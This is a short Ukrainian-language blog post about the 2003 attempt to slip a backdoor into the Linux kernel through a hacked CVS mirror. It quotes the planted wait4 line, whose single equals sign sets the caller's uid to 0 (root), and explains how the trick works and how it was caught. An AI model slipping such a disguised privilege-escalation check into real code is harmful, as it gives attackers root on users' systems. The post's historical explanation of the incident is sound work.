10.30.29
Як у 2003 році в ядро Linux намагалися непомітно додати бекдор

      У зв'язку з історією про шпигунство NSA спливає все більше цікавих історій. Чи пов'язана наступна з них з діяльністю Агенства Національної Безпеки достовірно не відомо, але ця історія цікава сама по собі.

У далекому 2003 року головна копія вихідного коду ядра Linux зберігалася за допомогою спеціального програмного забезпечення BitKeeper. Якщо в код вносилися зміни, то вони спочатку проходили перевірку спеціальної коммандой професіоналів і лише потім переносилися у майстер- копію. 

Проте , деяким програмістам було незручно працювати з BitKeeper, тому для них існувала окрема система CVS, в якій була доступна пряма копія коду ядра з BitKeeper. 

У 2003 році було виявлено, що в CVS копії коду є невеликий фрагмент коду, відсутній у BitKeeper, і ніколи не проходив перевірку. На перший погляд він виглядав досить необразливо. 

if ( ( options == ( __WCLONE | __WALL )) && ( current - > uid = 0 )) retval = - EINVAL ; 

Схоже що це звичайна перевірка, для команди wait4, що повертає код помилки при Недокументовані зверненні до
функції. Однак для цього кінець першого рядка мав би виглядет як " uid == 0 ", проте в доданому коді стояв
лише один знак рівності, що у разі Недокументовані звернення до wait4 призводило до установки uid в значення
0. А нульової uid в Linux це рівень доступу root, що дозволяло зловмисникові отримати максимальні права
доступу на будь-якому комп'ютері з цією операційною системою.

Дана спроба залишити бекдор в Linux , що стала можливою завдяки злому сервера з CVS кодом, була успішно
не
йтралізована практично 10 років тому, 5 листопада 2003 року.

https://lwn.net/Articles/57135/

Переглядів: 393 | Додав: dvi | Рейтинг: 0.0/0
Всього коментарів: 0
der="0" width="100%" cellspacing="1" cellpadding="2" class="commTable">
Ім'я *:Email:WWW:
Код *:
close